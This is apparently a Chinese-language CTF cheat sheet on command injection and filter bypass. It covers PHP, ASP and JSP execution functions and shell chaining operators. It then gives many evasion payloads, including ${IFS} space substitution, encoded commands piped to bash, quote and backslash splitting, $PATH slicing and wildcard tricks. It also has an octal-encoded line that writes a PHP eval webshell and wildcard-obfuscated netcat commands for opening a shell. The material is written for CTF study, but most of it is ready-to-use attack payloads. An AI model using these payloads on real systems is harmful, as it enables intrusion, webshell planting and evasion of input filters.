常见命令执行函数

php

1
2
3
system(); 
exec();
shell_exec();

asp

1
<%Response.writeCreateObject("wscript.shell").exec("cmd.exe /c ipconfig").StdOut.ReadAll%>

jsp

1
Runtime run = Runtime.getRuntime(); run.exec("ipconfig");

命令执行连接符

|
前句假后句不执行,前面真则执行

||
前面假则执行后面命令,否则只执行前句

&
无论前面真假,后面均执行

&&
前假后不执行,前真后执行

;
多个命令顺序执行

``和$()
被包含的字符串都会被当作命令执行


绕过

空格

${IFS}

1
2
3
cat${IFS}flag.txt
cat$IFS$1flag.txt
cat${IFS}$1flag.txt

<>

1
2
cat<>flag.txt
cat<flag.txt

{}

1
{cat,flag.txt}

在url中使用%09(Tab),%20(space)进行绕过


命令终止符

1
2
3
%00
;
%0a(linux下换行\n)

一句话执行多条命令

1
2
3
cd ..&&cd ..&&cd ..&&cat flag
cd ..;cd ..;cd ..;cat flag
|| 或语句可作连接

黑名单

拼接

1
2
3
a=c;b=at;$a$b
a=c;b=at;c=/f;d=lag;$a$b ${c}${d}
a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b /flag

编码绕过

  • base64
1
2
echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh ==> cat /flag
  • hex(16进制字符串)
1
echo "0x636174202f666c6167" | xxd -r -p|bash  ==> cat /flag
  • oct字节(八进制字符串)
1
2
3
4
$(printf "\154\163")   ==> ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==> cat /flag

{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 ==> cat /flag

也可以通过上述方式写马
内容为<?php @eval($_POST['c']);?>

1
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单双引号绕过

1
2
c'a't flag
c"a"t flag

反斜杠绕过

1
ca\t flag

$PATH绕过

1
2
3
4
5
6
root@BWWWY:/# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
root@BWWWY:/# `echo $PATH| cut -c 8,9`t /flag
flag{Y0u_h4ve_f0und_The_f1ag}
root@BWWWY:/# cat $(echo $PATH|cut -c 1)flag
flag{Y0u_h4ve_f0und_The_f1ag}

通配符绕过

1
2
3
4
cat /f?ag
cat /fl*
cat /f[a-z]ag
cat /f{i,j,k,l,m,n}ag

/???会寻找/目录三个字符的目录,一般会查到/bin目录,/bin/?[a][t]自然会匹配到/bin/cat = cat
?’’会占位一个字符,一下例子则匹配有八个字符的文件

1
2
/???/?[a][t] ?''?''?''?''?''?''?''?''
/???/[m]?[r][e] ?''?''?''?''?''?''?''?''

也可以利用这个开启shell
eg. netcat -lvp 9999

1
2
/???/[n]?[t]??[t] -lvp 9999
/???/[n]?[t]??[t] ip 9999

命令替换

查看文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat
sed
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

长度绕过

> 将你所写入的内容覆盖

>> 在后面继续增加

每次添加一部分命令

-n的部分不换行 没有的则换行

1
2
3
4
5
6
7
8
root@BWWWY:/# echo -n "ca" >r
root@BWWWY:/# echo -n "t" >>r
root@BWWWY:/# echo -n " /fl" >>r
root@BWWWY:/# echo "ag" >>r
root@BWWWY:/# cat r
cat /flag
root@BWWWY:/# cat r|bash
flag{Y0u_h4ve_f0und_The_f1ag}

1
2
3
4
5
6
root@BWWWY:/# cat a
ca\
t flag.t\
xt
root@BWWWY:/# sh a
flag{You_win}

参考

CTF下的命令执行